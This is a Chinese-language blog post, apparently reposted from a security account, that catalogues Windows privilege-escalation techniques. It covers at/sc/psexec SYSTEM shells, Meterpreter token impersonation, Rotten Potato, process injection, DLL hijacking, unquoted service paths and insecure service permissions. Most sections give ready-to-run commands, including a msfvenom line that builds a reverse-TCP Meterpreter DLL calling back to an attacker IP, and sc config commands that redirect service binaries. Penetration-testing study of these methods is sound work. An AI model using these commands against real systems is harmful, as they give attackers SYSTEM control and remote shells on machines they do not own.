【待做】【攻防技术系列+权限提升】Windows提权

news/2024/9/7 17:24:24/文章来源:https://www.cnblogs.com/o-O-oO/p/18305129

Windows提权思维导图

Windows提权工具
vulmap

vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。
windows-exp-suggester

这款和本工具的原理一样,尝试使用了之后,发现它的CVEKB数据库只更新到2017年的,并且没有给出CVE是否有公开的EXP信息。
WindowsVulnScan

这是一款基于主机的漏洞扫描工具,采用多线程确保可以快速的请求数据,采用线程锁可以在向sqlite数据库中写入数据避免的错误,采用哈希算法确保数据不重复插入。

搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中查找特定CVE网上是否有公开的EXP利用powershell脚本收集主机的一些系统版本与KB信息利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE 

AT&SC&PS提权

AT命令提权

at 命令提权的原理:at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限。

适用版本:Win2000 & Win2003 & XP中还是存在的,在Win7以后被剔除,当我们拿到一个低权限的用户,通过3389端口远程连接上后,可以通过at命令来进行本地提权

AT提权命令:

at 15:13 /interactive cmd.exe(在15:13分生成一个交互式的System权限的cmd)


SC命令提权

命令介绍:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

适用版本:windows 7、8、03、08、12、16

提权命令:

sc Create syscmd binPath= "cmd /K start" type= own type= interact

其中systcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁,type=interact。

这里再解释一下 cmd/k start 这个命令,这个命令就是启动一个新的cmd窗口。
所以命令的意思是创建一个叫syscmd的新交互式的cmd服务,然后执行sc start syscmd 启动服务就得到了一个system权限的cmd环境。

PS命令提权

微软官方工具包:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

PS介绍:PsExec属于SysInternalSuite (一个windows的内核的套件)是其中一个工具,可以利用它进行提权。

适用版本:Win2003 & Win2008

PS提权命令:

psexec.exe -accepteula -s -i -d cmd.exe

令牌窃取提权

令牌窃取提升--本地提权介绍:

进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。
当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

执行过程:

获取会话——利用模块——窃取令牌——提权

适用版本:

Microsoft Windows XP Professional SP3 和之前版本

Windows Server 2003 SP2 和之前的版本

Windows Server 2003 x64 和 x64 SP2

Windows Server 2003(用于基于 Itanium 的系统 SP2 和先前版本)

Windows Server 2008 x32 x64 Windows Server 2008(用于基于 Itanium 的系统)

Windows Vista SP1 和之前的版本 Windows Vista x64 SP1 和之前的版本

令牌窃取提权命令:

use incognitolist_tokens -uimpersonate_token "NT AUTHORITY\SYSTEM" (机器名\\用户名) 

烂土豆配合令牌窃取提权

烂土豆提权原理:

欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。

一般从Web拿到的WebShell 都是IIS 服务器权限,是具有这个模仿权限,使用菜刀反弹meterpreter就会成功

烂土豆&&热土豆

烂土豆比热土豆的优点:

100%可靠全版本通杀立即生效,不用像hot potato 那样有时候需要等到Windows更新才能使用

通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌

非服务类用户权限无法窃取成功(原理) 过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取 SYSTEM-成功

上传后依次执行以下命令:

use incognito

执行potato.exe命令:list_tokens -u execute -cH -f ./potato.exe

list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"
进程注入提权

进程注入提权介绍:

进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在 windows2008 之前操作系统上。

进程注入提权工具:

pinjector进程注入工具——win2008 以前操作系统

pexec64 32进程注入工具——win2008 及后操作系统
DLL 劫持提权

原理:Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的 位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下 面的顺序进行搜索:

应用程序加载的目录C:\Windows\System32C:\Windows\SystemC:\Windows当前工作目录 Current Working Directory,CWD在 PATH 环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作 dll 并上传-替换 dll-启动应用后成功

命令如:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.22 lport=6677 -f dll >shell.dll

dll劫持提权需要特定软件应用的控制权限及启用配合,复杂鸡肋

有第三方软件、有替换权限、管理员要运行这个软件
不带引号服务路径

不带引号服务路径配合 MSF-Web,本地权限

原理:当 Windows 服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。 过程:检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功

检测引号服务路径安全命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """

启动服务命令:sc start "服务名"
不安全的服务权限

不安全的服务权限配合 MSF-本地权限 原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有 过多的权限,例如,可以直接修改它导致重定向执行文件。

过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

accesschk下载:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

检测服务权限配置:accesschk.exe -uwcqv "administrators" *

更改服务路径指向:sc config "NewServiceName" binpath="C:\Program.exe"

重启服务调用:sc start "NewServiceName"

图片

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/772736.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[随笔]创作4天的心得感悟

随笔。【版权声明】未经博主同意,谢绝转载!(请尊重原创,博主保留追究权) https://www.cnblogs.com/cnb-yuchen/p/18327364 出自【进步*于辰的博客】今天,3月14日,和往常一样,也不是什么节日,就是看到博友们发的动态,也有所感慨。 算一算,我接触此平台已经327天了。虽…

【待做】【攻防技术系列+网络协议】ICMP协议

ICMP协议简介 ICMP(Internet Control Message Protocol)因特网控制报文协议。它是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然不传输用户数据,但是对于用户数据…

C141 线段树分治+线性基 P3733 [HAOI2017] 八纵八横

视频链接:C141 线段树分治+线性基 P3733 [HAOI2017] 八纵八横_哔哩哔哩_bilibili P3733 [HAOI2017] 八纵八横 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)// 线段树分治+线性基 O(q*logq*logL*logL) #include <iostream> #include <cstring> #include <a…

将Mathtype添加到WPS中

(1)在顶部菜单栏,工具--加载项--在“模板和加载项”窗口中再点击“添加”(2)找到mathtype安装路径下面的“OfficeSupprot”,这时会看到有“32”和“64”两个文件夹,分别对应WPS软件的系统(任务管理器可以直接查看wps版本)。默认路径为下边这个:(3)如果许多功能不…

BUUCTF 3.warmup_csaw_2016

拿到题目,我们先运行一下我们发现这道题的样子和BUUCTF的rip很像,一样是让我们输入,一样是在输入超长字符串后程序会崩溃,所以我们可以猜测是一道栈溢出的问题,我们来看一下保护机制我们发现依旧是几乎没开保护机制,所以大概率是一道栈溢出的题。 我们看一下IDA我们发现最…

sql注入漏洞复现

and 1=1 正常and 1=2 报错从这就已经说明是sql数字型注入了 上sqlmap验证一下存在布尔盲注,时间盲注...... 我是在漏洞盒子上提交的,能不能通过看运气吧 下面这个漏洞已经是很久之前的了,现在已经是修复了,当时还是太年轻了......当时复现过程没有做好,截图也已经删掉了..…

【PHP系列】phpinfo里面有什么?

一、INFO_GENERAL:一般信息 1.1 版本 1.2 操作系统版本和SAPI 原创 猎豹安全中心 小豹讲安全 2021-05-25 14:30 在PHP中,我们往往通过phpinfo()函数(及可选选项)来检查配置设置和预定义变量,返回结果输出关于PHP的配置信息,其中包含了 PHP 编译选项、启用的扩展、PHP 版本、…

【学习笔记】线段树

本文冲刺 \(3000\) 行中,目前行数:\(2668\) 行。 【0】线段树简介 【0.1】线段树是干什么的 线段树是一种基于分治的树形数据结构,可以处理很多区间问题,值域问题。 【0.2】线段树的形态 线段树作为一棵二叉树,其左子节点维护的是左半区间的信息,右子节点维护的是右半区间…

从零开始的JAVAday22~day28

上周我们学习了如何定义变量,这周我们学习如何给变量起名。 硬性要求: 1.由数字、字母、下划线()和美元符($)组成 2.不能以数字开头 3.不能是关键字 4.区分大小写 软性要求: 小驼峰命名法:存在一个单词时所有字母都小写,存在多个字母时第一个单词小写第二个单词首字母大写…

Git的存储原理

Git提交的只有你的代码吗?底层存储大剖析!目录Git 设计原理Git vs SVNGit 存储模型.git 目录结构Git 基本数据对象Git 包文件Git 引用 Git 设计原理 概括的讲,Git 就是一个基于快照的内容寻址文件系统。 往下慢慢看。 Git vs SVN Git 出现前,主流版本控制系统(SVN...)一般…

运行一个jar包的过程

在Linux运作jar包在Linux系统中,一个Java Archive(JAR)文件是包含Java类文件、相关的元数据和资源(如文本、图片等)的压缩包,通常用于存储Java应用程序或库。要在Linux上运行一个JAR包,你可以按照以下步骤操作: 1、确保Java环境已安装: 在Linux系统中运行JAR文件之前,…

BUUCTF 2.rip

拿到题目首先运行一下我们可以看到在我第一次运行时我们发现他就是将我们输入的重新输出了一遍,我们可以猜测应该是gets函数输入,然后输出,那我们便可以测试第二次,我们输入一个超长字符串,发现程序崩溃了,我们可以猜测应该是程序没有对长度进行检测而导致的栈溢出,那么…